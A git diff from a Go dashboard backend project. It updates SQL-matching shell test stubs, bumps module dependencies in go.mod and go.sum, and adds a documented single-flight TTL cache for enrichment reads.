+  *"SELECT id, CASE WHEN COALESCE(assignee"*"issues"*)
     printf 'id\nga-old\n'
     ;;
   *"COUNT("*)
@@ -5898,7 +6013,7 @@ case "$*" in
   *"STR_TO_DATE(JSON_UNQUOTE(JSON_EXTRACT(metadata, '$.expires_at'))"*)
     printf 'id\n'
     ;;
-  *"SELECT id FROM "*"citydb"*"issues"*)
+  *"SELECT id, CASE WHEN COALESCE(assignee"*"citydb"*"issues"*)
     printf 'id\nga-city\n'
     ;;
   *"COUNT("*)
@@ -5978,7 +6093,7 @@ case "$*" in
   *"STR_TO_DATE(JSON_UNQUOTE(JSON_EXTRACT(metadata, '$.expires_at'))"*)
     printf 'id\n'
     ;;
-  *"SELECT id FROM "*"issues"*)
+  *"SELECT id, CASE WHEN COALESCE(assignee"*"issues"*)
     printf 'id\nga-old\n'
     ;;
   *"COUNT("*)
@@ -6051,7 +6166,7 @@ case "$*" in
   *"STR_TO_DATE(JSON_UNQUOTE(JSON_EXTRACT(metadata, '$.expires_at'))"*)
     printf 'id\n'
     ;;
-  *"SELECT id FROM "*"issues"*)
+  *"SELECT id, CASE WHEN COALESCE(assignee"*"issues"*)
     printf 'id\nga-old\n'
     ;;
   *"COUNT("*)
diff --git a/go.mod b/go.mod
index 2b03284bb8..bc748bb001 100644
--- a/go.mod
+++ b/go.mod
@@ -8,7 +8,9 @@ require (
 	github.com/danielgtaylor/huma/v2 v2.37.3
 	github.com/fsnotify/fsnotify v1.9.0
 	github.com/gastownhall/gascity-packs v0.3.1-0.20260617013242-33d3a430a67d
+	github.com/go-jose/go-jose/v4 v4.1.4
 	github.com/go-sql-driver/mysql v1.9.3
+	github.com/golang-jwt/jwt/v5 v5.3.0
 	github.com/google/uuid v1.6.0
 	github.com/gorilla/websocket v1.5.4-0.20250319132907-e064f32e3674
 	github.com/invopop/jsonschema v0.13.0
@@ -19,7 +21,7 @@ require (
 	github.com/santhosh-tekuri/jsonschema/v6 v6.0.2
 	github.com/spf13/cobra v1.10.2
 	github.com/spf13/pflag v1.0.10
-	github.com/steveyegge/beads v1.0.4
+	github.com/steveyegge/beads v1.1.0
 	github.com/stretchr/testify v1.11.1
 	go.opentelemetry.io/otel v1.43.0
 	go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp v0.19.0
@@ -95,20 +97,21 @@ require (
 	github.com/cespare/xxhash/v2 v2.3.0 // indirect
 	github.com/clipperhouse/uax29/v2 v2.7.0 // indirect
 	github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5 // indirect
+	github.com/cockroachdb/apd/v3 v3.2.3 // indirect
 	github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect
 	github.com/denisbrodbeck/machineid v1.0.1 // indirect
 	github.com/dolthub/aws-sdk-go-ini-parser v0.0.0-20250305001723-2821c37f6c12 // indirect
-	github.com/dolthub/dolt/go v0.40.5-0.20260507221239-14b38e279fc6 // indirect
-	github.com/dolthub/driver v1.88.1 // indirect
+	github.com/dolthub/dolt/go v0.40.5-0.20260605230755-1bf533220ab0 // indirect
+	github.com/dolthub/driver/v2 v2.1.4 // indirect
 	github.com/dolthub/eventsapi_schema v0.0.0-20260310172945-37a9265ade69 // indirect
 	github.com/dolthub/flatbuffers/v23 v23.3.3-dh.2 // indirect
-	github.com/dolthub/fslock v0.0.3 // indirect
+	github.com/dolthub/fslock v0.0.5 // indirect
 	github.com/dolthub/go-icu-regex v0.0.0-20260412212219-49724d547866 // indirect
-	github.com/dolthub/go-mysql-server v0.20.1-0.20260507202550-43d6daf5958b // indirect
+	github.com/dolthub/go-mysql-server v0.20.1-0.20260605175459-433dbaebc97f // indirect
 	github.com/dolthub/gozstd v0.0.0-20240423170813-23a2903bca63 // indirect
 	github.com/dolthub/ishell v0.0.0-20260414231531-5f031e3e9037 // indirect
 	github.com/dolthub/jsonpath v0.0.2-0.20240227200619-19675ab05c71 // indirect
-	github.com/dolthub/vitess v0.0.0-20260505163811-77e5224be390 // indirect
+	github.com/dolthub/vitess v0.0.0-20260604210335-0893abc80542 // indirect
 	github.com/dustin/go-humanize v1.0.1 // indirect
 	github.com/edsrzf/mmap-go v1.2.0 // indirect
 	github.com/emicklei/go-restful/v3 v3.12.2 // indirect
@@ -119,7 +122,6 @@ require (
 	github.com/felixge/httpsnoop v1.0.4 // indirect
 	github.com/flynn-archive/go-shlex v0.0.0-20150515145356-3f9db97f8568 // indirect
 	github.com/fxamacker/cbor/v2 v2.9.0 // indirect
-	github.com/go-jose/go-jose/v4 v4.1.4 // indirect
 	github.com/go-logr/logr v1.4.3 // indirect
 	github.com/go-logr/stdr v1.2.2 // indirect
 	github.com/go-openapi/jsonpointer v0.22.5 // indirect
@@ -130,7 +132,6 @@ require (
 	github.com/goccy/go-json v0.10.5 // indirect
 	github.com/gocraft/dbr/v2 v2.7.6 // indirect
 	github.com/gofrs/flock v0.8.1 // indirect
-	github.com/golang-jwt/jwt/v5 v5.3.0 // indirect
 	github.com/golang/snappy v0.0.4 // indirect
 	github.com/google/btree v1.1.3 // indirect
 	github.com/google/gnostic-models v0.7.0 // indirect
@@ -179,7 +180,6 @@ require (
 	github.com/rivo/uniseg v0.4.7 // indirect
 	github.com/sagikazarmark/locafero v0.11.0 // indirect
 	github.com/sergi/go-diff v1.4.0 // indirect
-	github.com/shopspring/decimal v1.4.0 // indirect
 	github.com/sirupsen/logrus v1.9.4 // indirect
 	github.com/skratchdot/open-golang v0.0.0-20200116055534-eef842397966 // indirect
 	github.com/sony/gobreaker v0.5.0 // indirect
diff --git a/go.sum b/go.sum
index 28f2b7d6b7..834ff80f8e 100644
--- a/go.sum
+++ b/go.sum
@@ -336,6 +336,8 @@ github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWH
 github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5 h1:6xNmx7iTtyBRev0+D/Tv1FZd4SCg8axKApyNyRsAt/w=
 github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5/go.mod h1:KdCmV+x/BuvyMxRnYBlmVaq4OLiKW6iRQfvC62cvdkI=
 github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ=
+github.com/cockroachdb/apd/v3 v3.2.3 h1:4Zx+I3R35bFXMnltzmjP79i2cravE4jTRL6ps9Aux80=
+github.com/cockroachdb/apd/v3 v3.2.3/go.mod h1:klXJcjp+FffLTHlhIG69tezTDvdP065naDsHzKhYSqc=
 github.com/colinmarc/hdfs/v2 v2.1.1/go.mod h1:M3x+k8UKKmxtFu++uAZ0OtDU8jR3jnaZIAc6yK4Ue0c=
 github.com/containerd/errdefs v1.0.0 h1:tg5yIfIlQIrxYtu9ajqY42W3lpS19XqdxRQeEwYG8PI=
 github.com/containerd/errdefs v1.0.0/go.mod h1:+YBYIdtsnF4Iw6nWZhJcqGSg/dwvV7tyJ/kCkyJ2k+M=
@@ -380,28 +382,28 @@ github.com/dolthub/aws-sdk-go-ini-parser v0.0.0-20250305001723-2821c37f6c12 h1:I
 github.com/dolthub/aws-sdk-go-ini-parser v0.0.0-20250305001723-2821c37f6c12/go.mod h1:rN7X8BHwkjPcfMQQ2QTAq/xM3leUSGLfb+1Js7Y6TVo=
 github.com/dolthub/dolt-mcp v0.3.4 h1:AyG5cw+fNWXDHXujtQnqUPZrpWtPg6FN6yYtjv1pP44=
 github.com/dolthub/dolt-mcp v0.3.4/go.mod h1:bCZ7KHvDYs+M0e+ySgmGiNvLhcwsN7bbf5YCyillLrk=
-github.com/dolthub/dolt/go v0.40.5-0.20260507221239-14b38e279fc6 h1:sEcM3hfrt8MxdHS+GuryL7TUnbccVkziFnUq4d9p5CM=
-github.com/dolthub/dolt/go v0.40.5-0.20260507221239-14b38e279fc6/go.mod h1:zQgkmBI5uIRpzo+liO3Q6by+rcLWGcvyJhAAI/rmkHE=
-github.com/dolthub/driver v1.88.1 h1:GlP/9FKTVhNLqOxJigZ9Zx/smF6QLlhHPpQnesA26wM=
-github.com/dolthub/driver v1.88.1/go.mod h1:Nmn5sLbWRhseyKiCJ6seRP1txaq4a7F89Pcw/bv69os=
+github.com/dolthub/dolt/go v0.40.5-0.20260605230755-1bf533220ab0 h1:oPg5f5bYFy5x7Ws2qtVG7wiva96cIh9SFg7nrC4n7QA=
+github.com/dolthub/dolt/go v0.40.5-0.20260605230755-1bf533220ab0/go.mod h1:XwB+rt1QwszYYQIqFzIh6GyI5wUCWsmcgmGC/noAEcc=
+github.com/dolthub/driver/v2 v2.1.4 h1:0x3FoR9Aq75wd5sWSnWoaYKMusjYOsDn4zj2zl5hbQk=
+github.com/dolthub/driver/v2 v2.1.4/go.mod h1:9banWL0wE+Xmu4+c7Ukukyrx+H6BiI668Ok7e/SZBwo=
 github.com/dolthub/eventsapi_schema v0.0.0-20260310172945-37a9265ade69 h1:JShhbqMw26nKx3pqqu/cFxOpzBkN+4elVhzuUfgDw2k=
 github.com/dolthub/eventsapi_schema v0.0.0-20260310172945-37a9265ade69/go.mod h1:SSLraQS/jGLYFgff3vuZ+JbVUct6vyEeMzjLBqWqoyM=
 github.com/dolthub/flatbuffers/v23 v23.3.3-dh.2 h1:u3PMzfF8RkKd3lB9pZ2bfn0qEG+1Gms9599cr0REMww=
 github.com/dolthub/flatbuffers/v23 v23.3.3-dh.2/go.mod h1:mIEZOHnFx4ZMQeawhw9rhsj+0zwQj7adVsnBX7t+eKY=
-github.com/dolthub/fslock v0.0.3 h1:iLMpUIvJKMKm92+N1fmHVdxJP5NdyDK5bK7z7Ba2s2U=
-github.com/dolthub/fslock v0.0.3/go.mod h1:QWql+P17oAAMLnL4HGB5tiovtDuAjdDTPbuqx7bYfa0=
+github.com/dolthub/fslock v0.0.5 h1:QoXhBhgY1oumHE26qyE7tgmXUT8qjJwxsIzo54O/B/k=
+github.com/dolthub/fslock v0.0.5/go.mod h1:sdofYYqE0D79zNZyB4/kmlnsQOVap1C2yByjGKSirEM=
 github.com/dolthub/go-icu-regex v0.0.0-20260412212219-49724d547866 h1:U6gSf5I0e6h6GP1/5Sa7D2lWW1CWfcVPtY5wkyHq6jY=
 github.com/dolthub/go-icu-regex v0.0.0-20260412212219-49724d547866/go.mod h1:F3cnm+vMRK1HaU6+rNqQrOCyR03HHhR1GWG2gnPOqaE=
-github.com/dolthub/go-mysql-server v0.20.1-0.20260507202550-43d6daf5958b h1:Ew5nacrGUHRVyae1+/0vUjt3ZbX/6vaDEZfeDNMCSj8=
-github.com/dolthub/go-mysql-server v0.20.1-0.20260507202550-43d6daf5958b/go.mod h1:55n1yslSIZ5uewFbtd82DsYt3f9vUKwnRN5GZJie+nE=
+github.com/dolthub/go-mysql-server v0.20.1-0.20260605175459-433dbaebc97f h1:PPoA77XT2bavse3t02jcPsSQOZ1vToN13EgiaYed9IE=
+github.com/dolthub/go-mysql-server v0.20.1-0.20260605175459-433dbaebc97f/go.mod h1:A3nEC4RgBm9UzuQCGhQhJDQAiFMPsZU3NPKbGhEd8R4=
 github.com/dolthub/gozstd v0.0.0-20240423170813-23a2903bca63 h1:OAsXLAPL4du6tfbBgK0xXHZkOlos63RdKYS3Sgw/dfI=
 github.com/dolthub/gozstd v0.0.0-20240423170813-23a2903bca63/go.mod h1:lV7lUeuDhH5thVGDCKXbatwKy2KW80L4rMT46n+Y2/Q=
 github.com/dolthub/ishell v0.0.0-20260414231531-5f031e3e9037 h1:oIW9HwuWrhxv+4HZxA+QQSKHLqWFyXZ2FmNjUYwkdiM=
 github.com/dolthub/ishell v0.0.0-20260414231531-5f031e3e9037/go.mod h1:ehexgi1mPxRTk0Mok/pADALuHbvATulTh6gzr7NzZto=
 github.com/dolthub/jsonpath v0.0.2-0.20240227200619-19675ab05c71 h1:bMGS25NWAGTEtT5tOBsCuCrlYnLRKpbJVJkDbrTRhwQ=
 github.com/dolthub/jsonpath v0.0.2-0.20240227200619-19675ab05c71/go.mod h1:2/2zjLQ/JOOSbbSboojeg+cAwcRV0fDLzIiWch/lhqI=
-github.com/dolthub/vitess v0.0.0-20260505163811-77e5224be390 h1:FjUnJYan3i3mrk/i+qENwFOQhA+XfH+wgAucbgi/4sQ=
-github.com/dolthub/vitess v0.0.0-20260505163811-77e5224be390/go.mod h1:dKAkzdfRkAudpc0g8JOQ0eiEjV83TYIFz/yNIEdcjXM=
+github.com/dolthub/vitess v0.0.0-20260604210335-0893abc80542 h1:0A5Y1IP9ribdYzzWDZwN/NM+oxCfmYh7NuM2xIIrEag=
+github.com/dolthub/vitess v0.0.0-20260604210335-0893abc80542/go.mod h1:dKAkzdfRkAudpc0g8JOQ0eiEjV83TYIFz/yNIEdcjXM=
 github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
 github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
 github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
@@ -928,8 +930,6 @@ github.com/shirou/gopsutil/v4 v4.26.3 h1:2ESdQt90yU3oXF/CdOlRCJxrP+Am1aBYubTMTfx
 github.com/shirou/gopsutil/v4 v4.26.3/go.mod h1:LZ6ewCSkBqUpvSOf+LsTGnRinC6iaNUNMGBtDkJBaLQ=
 github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4=
 github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
-github.com/shopspring/decimal v1.4.0 h1:bxl37RwXBklmTi0C79JfXCEBD1cqqHt0bbgBAGFp81k=
-github.com/shopspring/decimal v1.4.0/go.mod h1:gawqmDU56v4yIKSwfBSFip1HdCCXN8/+DMd9qYNcwME=
 github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q=
 github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
 github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
@@ -957,8 +957,8 @@ github.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjb
 github.com/spiffe/go-spiffe/v2 v2.6.0 h1:l+DolpxNWYgruGQVV0xsfeya3CsC7m8iBzDnMpsbLuo=
 github.com/spiffe/go-spiffe/v2 v2.6.0/go.mod h1:gm2SeUoMZEtpnzPNs2Csc0D/gX33k1xIx7lEzqblHEs=
 github.com/spkg/bom v0.0.0-20160624110644-59b7046e48ad/go.mod h1:qLr4V1qq6nMqFKkMo8ZTx3f+BZEkzsRUY10Xsm2mwU0=
-github.com/steveyegge/beads v1.0.4 h1:dLh5D20Di84z/vo4yoehbXnfSgCbDW8t+OwBFyyxZ2o=
-github.com/steveyegge/beads v1.0.4/go.mod h1:W5MvSGi0NSO0FxIFrg+sIOnkot9YwXC8x7nflHF2tMw=
+github.com/steveyegge/beads v1.1.0 h1:OopHv7K5CWGRNiBinTsEU8pexzZPCPI02LqZ/cPiV5k=
+github.com/steveyegge/beads v1.1.0/go.mod h1:kGQMfFl+LvvOxQ8dAxUITxuTBeMbjv+eogStn+IiucE=
 github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
 github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
 github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE=
@@ -1675,7 +1675,6 @@ gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8
 gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
 gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
 gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
-gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
 gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
 gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
 gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
diff --git a/internal/api/dashboardbff/config_test.go b/internal/api/dashboardbff/config_test.go
index 33d122eb2f..99fb68f51b 100644
--- a/internal/api/dashboardbff/config_test.go
+++ b/internal/api/dashboardbff/config_test.go
@@ -15,6 +15,14 @@ func (m mapResolver) CityPath(name string) (string, bool) {
 	return p, ok
 }
 
+func (m mapResolver) Cities() []CityRef {
+	refs := make([]CityRef, 0, len(m))
+	for name, path := range m {
+		refs = append(refs, CityRef{Name: name, Path: path})
+	}
+	return refs
+}
+
 func TestRuntimeConfigDefaultsAreNeutral(t *testing.T) {
 	p := New(Deps{ReadOnly: true})
 	cfg := p.runtimeConfigFor("alpha", "/srv/alpha")
diff --git a/internal/api/dashboardbff/enrichment_cache.go b/internal/api/dashboardbff/enrichment_cache.go
new file mode 100644
index 0000000000..6dc99c9bf9
--- /dev/null
+++ b/internal/api/dashboardbff/enrichment_cache.go
@@ -0,0 +1,338 @@
+package dashboardbff
+
+import (
+	"context"
+	"sync"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/runproj"
+)
+
+// The two per-request loopback reads the run-detail path layers on top of the
+// warm fold — GET /v0/city/{name}/sessions and GET /v0/city/{name}/formulas/... —
+// are cached per city with single-flight + TTL so a burst of detail/summary GETs
+// (a dashboard tab re-polling on every bead nudge) collapses onto ONE upstream
+// fetch per key rather than one per request. This follows the samplers.go
+// contract: the blocking upstream fetch runs with no cache lock held, exactly one
+// caller performs it per key during a miss (the rest join its result), and a
+// fetch failure degrades by serving the last-good value with its availability
+// flag rather than blanking — except a cold miss with no last-good, which
+// degrades EXACTLY as the uncached path did (so the honest partial/warming states
+// are preserved).
+var (
+	// sessionsCacheTTL bounds how long a cached sessions read is served before a
+	// refetch. A var (not a const) so tests can shorten it.
+	sessionsCacheTTL = 3 * time.Second
+	// formulaCacheTTL bounds how long a successfully-compiled formula detail is
+	// served. Compiled formulas change rarely (an authored TOML edit), so this is
+	// long. A var so tests can shorten it.
+	formulaCacheTTL = 60 * time.Second
+	// formulaNotFoundTTL bounds how long a 404 (genuinely-missing formula) outcome
+	// is served before a re-check. It is short so a newly-added formula appears
+	// promptly instead of being pinned missing for the full success TTL. A var so
+	// tests can shorten it.
+	formulaNotFoundTTL = 5 * time.Second
+	// singleFlightComputeTimeout bounds the elected single-flight compute, which
+	// runs under a context DETACHED from the electing caller's request (see get).
+	// Detaching stops the caller disconnecting from canceling the shared upstream
+	// fetch, but a detached context also loses the request deadline, so this
+	// timeout backstops a wedged upstream and keeps a stuck flight from pinning the
+	// elector goroutine (and every joiner) forever. It sits above the per-fetch
+	// http.Client timeout (runSessionsFetchTimeout), which stays the primary bound
+	// in practice. A var so tests can shorten it.
+	singleFlightComputeTimeout = 30 * time.Second
+)
+
+// ── Generic single-flight TTL cache ───────────────────────────────────────
+
+// cacheEntry is one keyed slot in a singleFlightCache: the last-computed value,
+// when it was computed (for TTL expiry), and — while a fetch is in flight — the
+// channel a joining caller waits on. The value type V is copied by value on
+// read, so V must be safe to share (a value type or an immutable-after-build
+// pointer/slice, which both cached payloads are).
+type cacheEntry[V any] struct {
+	value    V
+	computed time.Time
+	// ttl is the entry's own expiry window, captured at compute time. The formula
+	// cache uses a shorter window for a not-found outcome than for a success, so
+	// the window travels with the entry rather than being a single cache-wide
+	// constant.
+	ttl time.Duration
+	// hasValue is false until the first successful (or, for the not-found case,
+	// definitively-negative) compute, so a cold miss whose fetch fails does not
+	// publish a zero value as if it were last-good.
+	hasValue bool
+	// staleServeable reports whether this entry may be served AFTER a failed
+	// refetch (the last-good/serve-stale contract). A positive result (a real
+	// success) is safe to serve stale — a slow-changing formula or a session list
+	// is still a useful answer. A negative result (a cached not-found) is
+	// fresh-serveable within its TTL via the fast-hit path, but must NOT be served
+	// stale: once it expires, an errored refetch falls through to the caller's
+	// cold-miss degrade so a stale not-found never masks a later upstream error.
+	staleServeable bool
+	// version is a monotonic counter that bumps by one on every successful
+	// compute-and-store (a refetch that publishes a new value), and NOT on a
+	// within-TTL hit or a degrade-to-last-good. It lets a downstream memo (the
+	// run-detail cache) detect that a cached enrichment value changed underneath
+	// it: a bumped version invalidates the memo key even when the raw value is
+	// equal, so the memo never serves a stale detail after an enrichment refresh.
+	version uint64
+	// inflight is non-nil while exactly one caller computes this key; joiners wait
+	// on its done channel and then return its published result (never re-electing),
+	// so a burst of concurrent callers collapses onto ONE upstream fetch even when
+	// that fetch fails. It is set under the cache lock, resolved and closed by the
+	// computing caller after publishing, and cleared under the lock.
+	inflight *flight[V]
+}
+
+// flight is one in-flight compute for a key. It carries the channel joiners wait
+// on plus the single result the elected computer publishes for every caller
+// joined to this flight to return: a fresh success, a served-stale positive
+// last-good, or a transient cold/expired-negative failure. Sharing one flight's
+// result is what collapses a concurrent burst onto ONE upstream fetch even when
+// the fetch fails — the failure is NOT written to the cache entry, so a LATER
+// request still re-elects and refetches. value/version/ok are written once (under
+// the cache lock, before done is closed) and read by joiners only after done
+// closes, so the channel close supplies the happens-before with no extra locking.
+// version is the served value's monotonic generation (see cacheEntry.version); it
+// travels with the shared result so a joining getWithVersion caller returns the
+// same version the elector does.
+type flight[V any] struct {
+	done    chan struct{}
+	value   V
+	version uint64
+	ok      bool
+}
+
+// singleFlightCache is a small per-key TTL cache with single-flight: concurrent
+// cold-miss callers for the same key collapse to one compute; a hit within TTL
+// serves the stored value with no upstream work; an expired entry triggers one
+// refetch while other callers join it. The cache lock is NEVER held across the
+// compute function — the samplers.go contract — so a slow upstream fetch never
+// blocks a reader of a different key or a joiner re-reading a fresh value.
+type singleFlightCache[K comparable, V any] struct {
+	mu      sync.Mutex
+	entries map[K]*cacheEntry[V]
+}
+
+func newSingleFlightCache[K comparable, V any]() *singleFlightCache[K, V] {
+	return &singleFlightCache[K, V]{entries: make(map[K]*cacheEntry[V])}
+}
+
+// get returns the value for key, computing it via compute on a miss or expiry.
+// compute returns the fetched value, the TTL that value should live for (so the
+// formula cache can pick a shorter window for a not-found outcome), ok reporting
+// whether the fetch succeeded well enough to cache, and staleServeable reporting
+// whether that cached value may be served AFTER a later failed refetch. A
+// positive result is staleServeable (serve last-good on error); a definitive
+// negative (a cached not-found) is cached but NOT staleServeable, so once it
+// expires an errored refetch falls through to the caller's cold-miss degrade
+// rather than surfacing the stale negative. On a compute failure with an existing
+// staleServeable last-good the stale value is served (available); on a cold miss
+// with no serveable last-good the zero value is returned so the caller can apply
+// its own honest degrade. Exactly one caller runs compute per key per miss; the
+// rest block until it publishes, then return that same shared result — so a
+// concurrent burst, INCLUDING a failed one, collapses onto that single fetch.
+// The elected compute runs under a context detached from the electing caller's
+// request (its values kept, its cancellation and deadline dropped) plus a bounded
+// timeout, so an elector that disconnects mid-fetch cannot cancel the shared
+// upstream request its joiners are still waiting on; each joiner still abandons
+// its own wait via ctx. A caller whose ctx is already canceled at a miss does not
+// elect at all — it degrades to the serveable last-good — so only a caller that
+// was live at election ever detaches a compute for nobody.
+//
+// The returned bool reports whether a usable value is being served: true for a
+// fresh success, a within-TTL hit, or a served-stale positive last-good; false
+// for a cold miss whose fetch failed and left no last-good, or an expired
+// negative whose refetch failed.
+func (c *singleFlightCache[K, V]) get(ctx context.Context, key K, compute func(context.Context) (V, time.Duration, bool, bool)) (V, bool) {
+	v, _, ok := c.getWithVersion(ctx, key, compute)
+	return v, ok
+}
+
+// getWithVersion is get with the served value's monotonic version. The version
+// bumps by one on each successful compute-and-store and stays fixed across a
+// within-TTL hit or a served-stale last-good, so a downstream memo can key on it
+// to detect a refresh even when the raw value is unchanged. The returned version
+// is meaningful only when ok is true (a served value); on a cold-miss degrade it
+// is zero. Every serve-stale, single-flight, and context-detach rule get
+// documents holds here unchanged — this is the full implementation get delegates
+// to.
+func (c *singleFlightCache[K, V]) getWithVersion(ctx context.Context, key K, compute func(context.Context) (V, time.Duration, bool, bool)) (V, uint64, bool) {
+	c.mu.Lock()
+	e, ok := c.entries[key]
+	if !ok {
+		e = &cacheEntry[V]{}
+		c.entries[key] = e
+	}
+	// Fresh hit: serve without touching the upstream.
+	if e.hasValue && e.inflight == nil && time.Since(e.computed) < e.ttl {
+		v, ver := e.value, e.version
+		c.mu.Unlock()
+		return v, ver, true
+	}
+	// Someone is already computing this key: join that flight and return its
+	// shared result instead of re-electing. A failed cold or expired-negative
+	// flight is shared here too, so N concurrent callers collapse onto the ONE
+	// upstream fetch rather than each waking, re-electing, and refetching
+	// serially. A later request (after the flight clears inflight) still elects a
+	// fresh compute, since the failure was never cached on the entry.
+	if e.inflight != nil {
+		fl := e.inflight
+		c.mu.Unlock()
+		select {
+		case <-fl.done:
+			return fl.value, fl.version, fl.ok
+		case <-ctx.Done():
+			// The caller gave up. Serve the last-good if we have one (never block a
+			// canceled caller on an in-flight fetch); otherwise degrade.
+			return c.lastGoodOrZero(key)
+		}
+	}
+	// A caller whose request context is already canceled must NOT elect a new
+	// flight. Electing sets the inflight slot and runs compute under a context
+	// DETACHED from this caller (context.WithoutCancel below), so a request that
+	// was already gone before the miss would still drive a full upstream fetch —
+	// bounded only by the fetch/backstop timeout — on nobody's behalf. The
+	// fresh-hit and join paths above are already safe for a canceled caller (a
+	// hit does no upstream work; a joiner abandons via its own ctx.Done()); only
+	// election has to guard. Degrade to the serveable last-good exactly as the
+	// canceled-joiner branch does. WithoutCancel below therefore only ever
+	// detaches a compute elected by a caller that was live at election, so a
+	// mid-flight disconnect still cannot cancel the shared fetch for joiners.
+	if ctx.Err() != nil {
+		c.mu.Unlock()
+		return c.lastGoodOrZero(key)
+	}
+	// We are the elected computer for this key.
+	fl := &flight[V]{done: make(chan struct{})}
+	e.inflight = fl
+	c.mu.Unlock()
+
+	// The in-flight handshake MUST be released on every exit — including a panic
+	// in compute. The dashboardbff plane runs under the supervisor's withRecovery
+	// middleware, so a compute panic is caught and turned into a 500 while the
+	// process keeps serving; without a deferred release the entry's inflight
+	// channel would be orphaned (never closed) and every future caller for this
+	// key would block on it forever (or degrade to a frozen last-good that never
+	// refetches). The deferred cleanup runs before the panic propagates, so the
+	// next caller re-elects and recovers while withRecovery still logs and 500s
+	// the panicking request.
+	var (
+		value          V
+		ttl            time.Duration
+		computeOK      bool
+		staleServeable bool
+		resultValue    V
+		resultVersion  uint64
+		resultOK       bool
+	)
+	func() {
+		defer func() {
+			c.mu.Lock()
+			if computeOK {
+				e.value = value
+				e.computed = time.Now()
+				e.ttl = ttl
+				e.hasValue = true
+				e.staleServeable = staleServeable
+				// A successful store is a new generation of this value: bump the
+				// version so a downstream memo keyed on it rebuilds.
+				e.version++
+			}
+			// else: keep the prior last-good (if any) untouched — degrade,
+			// don't blank.
+			//
+			// Resolve the single result this flight publishes to every joined caller
+			// (the elector and all current waiters): a fresh success, a served-stale
+			// positive last-good, or an honest degrade. Because a failure is never
+			// written to the entry above, a LATER request re-elects and refetches —
+			// only the concurrent burst is collapsed. The published version is the
+			// served value's own generation, so a joining getWithVersion caller
+			// returns the same version the elector does.
+			switch {
+			case computeOK:
+				resultValue, resultVersion, resultOK = e.value, e.version, true
+			case e.hasValue && e.staleServeable:
+				// A failed refetch with a serveable positive last-good: serve it stale.
+				// A negative last-good is NOT serveable stale, so it falls through to
+				// the degrade below rather than masking this upstream error.
+				resultValue, resultVersion, resultOK = e.value, e.version, true
+			default:
+				// Cold miss (or expired negative), fetch failed, no serveable
+				// last-good: honest degrade to the zero value.
+				var zero V
+				resultValue, resultVersion, resultOK = zero, 0, false
+			}
+			fl.value, fl.version, fl.ok = resultValue, resultVersion, resultOK
+			e.inflight = nil
+			c.mu.Unlock()
+			close(fl.done)
+		}()
+		// Compute with NO cache lock held (the samplers.go contract), under a
+		// context DETACHED from the electing caller's request. This elected compute
+		// is the single upstream fetch every joined caller shares; if it ran on the
+		// elector's ctx, that caller disconnecting or hitting its deadline mid-fetch
+		// would cancel the shared request and hand every still-waiting joiner a
+		// canceled/failed result instead of their own enrichment. context.WithoutCancel
+		// keeps the request's values (auth, tracing) while dropping its cancellation
+		// and deadline; a bounded timeout backstops a wedged upstream so the detached
+		// compute can never pin the flight forever. Joiners still abandon their own
+		// wait via ctx.Done() above — only the shared compute is decoupled. A panic
+		// here still runs the deferred release above, then propagates.
+		computeCtx, cancelCompute := context.WithTimeout(context.WithoutCancel(ctx), singleFlightComputeTimeout)
+		defer cancelCompute()
+		value, ttl, computeOK, staleServeable = compute(computeCtx)
+	}()
+
+	return resultValue, resultVersion, resultOK
+}
+
